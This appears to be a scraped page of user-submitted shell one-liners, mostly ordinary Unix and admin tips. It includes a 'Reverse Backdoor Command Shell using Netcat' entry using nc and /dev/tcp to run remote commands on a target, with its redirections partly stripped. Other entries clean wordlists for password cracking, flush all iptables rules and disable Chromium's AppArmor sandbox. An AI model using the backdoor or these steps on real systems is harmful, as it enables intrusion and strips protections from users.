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How to expire the password to force her change [AIX]

This command is AIX compatible. It will prompt the user for a new password at next logon
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pwdadm -f ADMCHG [user]

mack · 2011-04-28 02:22:03 11
unix2dos with awk
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awk 'sub("$", "\r")' unixfile.txt > winfile.txt

pedalinux · 2011-06-10 15:20:01 3
Clean a wordlist for use with password cracking tools and rules

Using large wordlists is cumbersome. Using password cracking programs with rules such as Hashcat or John the ripper is much more effective. In order to do this many times we need to "clean" a wordlist removing all numbers, special characters, spaces, whitespace and other garbage. This command will covert a entire wordlist to all lowercase with no garbage.
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cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u > cleanfile.txt

purehate · 2011-08-28 01:26:04 10
Modify all files newer than another file and touch them to a specific date.

Modify all files newer than another file and touch them to a specific date. Show Sample Output
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```
None.  Check it with 'ls -al'
```
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find . -newer /tmp/foo -exec touch --date "2011-12-12" {} \;

djangofan · 2011-12-15 04:55:57 3
find all c and cpp files except the ones in the unit-test and android subdirectories

Find files matching multiple descriptions (*.c and *.cpp) excluding multiple directories (unit-test and android).
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find . ! -regex '.*/$unit-test\|android$/.*' $ -name '*.c' -o -name '*.cpp' $

flatcap · 2012-04-26 17:53:45 3
Select columns in a file

Display the 1st field (employee name) from a colon delimited file Show Sample Output
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```
Emma Thomas
Alex Jason
Madison Randy
Sanjay Gupta
Nisha Singh
```
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cut -d: -f 1 names.txt

ankush108 · 2012-06-26 19:28:25 3
Fill a hard drive with ones - like zero-fill, but the opposite :)
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perl -e '$s="$s\xFF" while length($s)<512; print $s while 1' | dd of=/dev/sdX

stonefoz · 2012-08-20 05:33:28 4
Runs previous command replacing foo by bar every time that foo appears

this also can !
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^bar^foo^

datamining · 2013-04-22 03:47:07 5
remove duplicate with change order
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perl -lne 'print unless $seen{$_}++'

kotokz · 2013-07-01 03:47:48 7
Temporarily suspend and unsuspend a foreground job

Like this you can continue a suspended job without blocking again your terminal
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^Z <...> % &

Dev_NIX · 2014-06-13 15:35:52 7
Git branches I checked-out on a specific date

Replace "Oct 2" in the first grep pattern to be the date to view branch work from Show Sample Output
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```
my_new_feature
my_second_new_feature
master
```
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git reflog --date=local | grep "Oct 2 .* checkout: moving from .* to" | grep -o "[a-zA-Z0-9\-]*$" | sort | uniq

Trindaz · 2014-10-03 15:12:22 8
Fix Chromium browser not starting

If AppArmor is installed with all profiles enforced, Chromium may refuse to start, printing a "failed to launch zygote process" error on stderr. This command switches the Chromium profile from enforce to complain mode, effectively un-sandboxing the browser, but depending on the system setup it may be a smaller deal than a nonfunctional application. Show Sample Output
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Setting /etc/apparmor.d/usr.bin.chromium-browser to complain mode.
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sudo aa-complain /etc/apparmor.d/usr.bin.chromium-browser

lordtoran · 2015-09-30 18:56:28 13
Random Wallpaper From Reddit
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wget -O - http://www.reddit.com/r/wallpaper | grep -Eo 'http://i.imgur.com[^&]+jpg' | shuf -n 1 | xargs wget -O background.jpg ; feh --bg-fill background.jpg

lowrez · 2015-12-22 19:11:02 21
sha256 checksum for Chef's remote_file resource
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curl -L -s https://some.file | shasum -a 256 | cut -c-12

Raboo · 2017-04-04 13:07:24 16
Replace string and ask for confirmation
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:%s/foo/bar/gc

tofu00 · 2017-11-29 10:10:27 20
search manpages on the internets

manview searches man pages on the internets in case the man command doesn't work for some reason or if you think the man pages in Cornell's flavor of Solaris might differ from yours. It dumps the manpage info from lynx to less, so it ends up looking remarkably like a real manpage. Put it in your .bash_profile or .bashrc, and then you can use it like a regular command: typing "manview ssh" will give you the manpage for ssh.
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manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic='"$1" | less; }

Ben · 2009-03-11 19:02:11 7
Prints line numbers
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awk '{print NR,$0}'

4Aiur · 2010-01-08 08:00:34 3
Display the space used for all your mounted logical volume (LV)
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df -kh /dev/vg0*/lv*

marousan · 2010-02-03 13:37:30 4
Open Remote Desktop (RDP) from command line having a custom screen size

The above command will: - open a Remote Desktop connection to [servername / IP Address], - authenticate using [username] and [password], - configure resolution to best fit your desktop (I have a 1366x768px resolution so I left space for 2 panels of 22px each), - sets the color depth for the connection to 16 bpp, - hides the window manager decorations, - enables compression of the RDP data stream, - enables persistent bitmap caching.
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rdesktop -u <username> -p <password> -g 1366x724 -a 16 -D -z -P <servername / IP Address>

mariusbutuc · 2010-06-09 11:47:35 3
How to Kill Process that is Running on Certain Port in Windows?

I cannot run Tomcat from Eclipse. It says that there?s other process that is running on port 8080, but I don?t know what is the process, and how to stop it from the Services manger in Windows. So here?s how you can kill and find out what is that process: To find out what PID 8080 was (hopefully not a trojan) I typed tasklist /FI ?PID eq 8080″ taskkill /F /PID 2600
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netstat -a -o -n | grep 8080

evandrix · 2011-04-28 09:58:59 3
Watch Weather Channel live video stream without a browser

Perfect for following Hurricane Irene
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vlc mms://twcilivewm.fplive.net/twcilive-live/twci_350

andresmh · 2011-08-28 02:24:53 3
Get the name or user running the process of specified PID

Gets the current system user running a process with the specified pid Show Sample Output
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```
nssy@yoda:~$ ps aux | grep 3698 | grep -v 'grep' | awk '{ print $1 }'
nssy
```
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ps aux | grep PID | grep -v 'grep' | awk '{ print $1 }'

nssy · 2011-11-05 04:53:29 3
Stop iptables completely

If you changed the default policy on any chain other than filter table chain's, this won't be enough.
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iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; for table in `cat /proc/net/ip_tables_names`; do iptables -t $table -F; iptables -t $table -Z; iptables -t $table -X; done

dash · 2011-12-15 18:19:34 41
Squeeze repeats

Convert long list of ' ' to a single space. Compress space and other characters. Show Sample Output
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```
->xyz           wof
->xyz wof
```
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tr -s ' '

ankush108 · 2012-06-26 19:34:18 8
Download all images from a 4chan thread

Couldn't make the other work so I made this
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curl -s http://boards.4chan.org/---/res/nnnnnn | grep -o -i 'File: <a href="//images.4chan.org\/[a-z]*\/src\/[0-9]*\.[a-z]\{3\}' | sed -r 's/File: <a href="\/\///' |xargs wget

MonsieurMachin · 2012-08-21 07:25:20 5
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securely erase unused blocks in a partition

This command securely erases all the unused blocks on a partition. The unused blocks are the "free space" on the partition. Some of these blocks will contain data from previously deleted files. You might want to use this if you are given access to an old computer and you do not know its provenance. The command could be used while booted from a LiveCD to clear freespace space on old HD. On modern Linux LiveCDs, the "ntfs-3g" system provides ReadWrite access to NTFS partitions thus enabling this method to also be used on Wind'ohs drives. NB depending on the size of the partition, this command could take a while to complete.

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Find usb device

I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are oftern bad: PATH=/apath:$PATH type of thing cause diplicate.

Thanks to the authors of: $ awk '!x[$0]++' and the author of: $ joinargs() { (local IFS="$1"; shift && echo "$*") } and others, we can have a fast Linux or android. IMPORTANT if you find a priority order problem in PATH you can push a path directory to the front without duplication as follows: $ PATH=/bin:$PATH then ... Check duplication with: $ echo $PATH|tr : '\n'|sort|uniq -d Finally do a very neat line by line list of $PATH: $ echo "${PATH//:/$'\n'} The speed up is very noticeable for android, and builds on Linux Ubantu are much faster with make and scripts. I will update the command on request. Timothy from SONY

Search and play MP3 from Skreemr

This use the Screemr search engine to play mp3 songs

print date 24 hours ago

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Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

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